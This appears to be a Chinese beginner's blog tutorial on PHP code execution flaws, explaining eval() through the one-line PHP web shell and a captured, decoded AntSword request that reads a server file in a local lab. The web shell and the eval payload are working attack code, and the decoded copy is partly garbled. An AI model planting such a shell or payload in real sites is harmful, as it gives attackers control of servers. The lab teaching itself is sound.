网络安全菜鸟学习之漏洞篇——代码执行漏洞(一)

it2026-04-21  3

这篇文章我们来学习学习代码执行漏洞。代码执行漏洞顾名思义,是由于程序员编写程序的时候使用了一些不安全的函数所造成的。这样说不够生动,我们来学习一下就懂了。 这篇文章我们来学习eval()和assert()。 说到eval()和assert()不得不提到了一句话木马。(如下)

<?php @eval($_POST[value]);?>

我们发现一句话木马就是使用的是eval。我们知道我们可以通过蚁剑连接一句话木马,从而控制别人后台。那么我们是不是可以猜测一句话木马是这个函数照成的。因此我们来做以下的实验。 首先我们把以下代码写入一个1234.php文件,并保存到网站根目录。

<?php @eval(phpinfo());?>

我们访问它会发现它执行了phpinfo()。 至此,我们知道了eval的作用是以php代码的形式执行括号里的内容。(@是消除警告,我个人感觉没用可以不写) 那么,我们是不是可以猜想蚁剑实际上就是发了一串代码,然后eval以php代码来运行它。 我们来验证一下。这里我们有两款软件可以用来抓包。(主要两个都有一定的几率抓包不成功) 首先我们打开一个名叫wsexplorer的软件。这款软件是用来抓取数据包,而我用它的主要原因是我的蚁剑进行代理的时候它总是报错。(我也不知道为啥,不过这会又好了,一会可以演示一下) 注:wsexplorer可能抓不到包,建议在win2003的虚拟机里面用管理员运行就可以了。(操作很简单,根着下图走就行了。) 注:这里一定不要勾。 我们双击一下菜刀的进程,然后在菜刀上随便操作一下就可以抓到包了。 双击任何一个包,就可以在下面看到它的具体内容。 好,说完了这个叫wsexplorer的软件,我们来学习下用BurpSuite抓蚁剑的包。(BurpSuite上面的步骤已经讲过很多次了,现在就具体讲一下蚁剑上面的设置,如下图) 好,现在我们设置完成了,我们进行一个操作然后抓个包。我的操作是打开D:/phpStudy/PHPTutorial/WWW/sqli-labs-master/Less-1/目录下的1.txt文件。 我们把这个包复制下来,新建个记事本放进去好具体分析一下。 注意看这个包,前面什么都正常。就它a传的值是什么鬼? 我们把它解码一下。

a=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22cb8268829c1f%22%3Becho%20%40asenc(%24output)%3Becho%20%22b9f8b0f7611e%22%3B%7Dob_start()%3Btry%7B%24F%3Dbase64_decode(substr(%24_POST%5B%22m0c15c9d574594%22%5D%2C2))%3B%24P%3D%40fopen(%24F%2C%22r%22)%3Becho(%40fread(%24P%2Cfilesize(%24F)%3Ffilesize(%24F)%3A4096))%3B%40fclose(%24P)%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&m0c15c9d574594=B9RDovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3NxbGktbGFicy1tYXN0ZXIvTGVzcy0xLzEudHh0(原代码) a=@ini_set("display_errors", ""); @set_time_limit(0);function asenc($out){return $out;}; function asoutput() {$output=ob_get_contents();ob_end_clean(); echo "cb8268829c1f"; echo @asenc($output); echo "9f8b0f7611e";} ob_start(); try{$=base64_decode(substr($_POST["m0c15c9d574594"],)); $=@fopen($F,"r");echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);;} catch(Exception $e) {echo "ERROR://".$e->getMessage();}; asoutput(); die(); &m0c15c9d574594=D:/phpStudy/PHPTutorial/WWW/sqli-labs-master/Less-1/1.txt(解码后)

仔细看解码后的代码,很明显它就是我们之前猜想的利用a的值来执行一切操作。 注:substr规定了从第几位开始截取,这边抓包没显示出来,就一位一位的删。 好,eval我们算学完了,至于assert它的用法和eval一样就不讲了。(不是我偷懒,是真的一样。) (ps:这是我写的第20篇文章了,不知不觉写了两个多月了,感谢大家的支持。还是老规矩求各位看官给点评论和关注)

最新回复(0)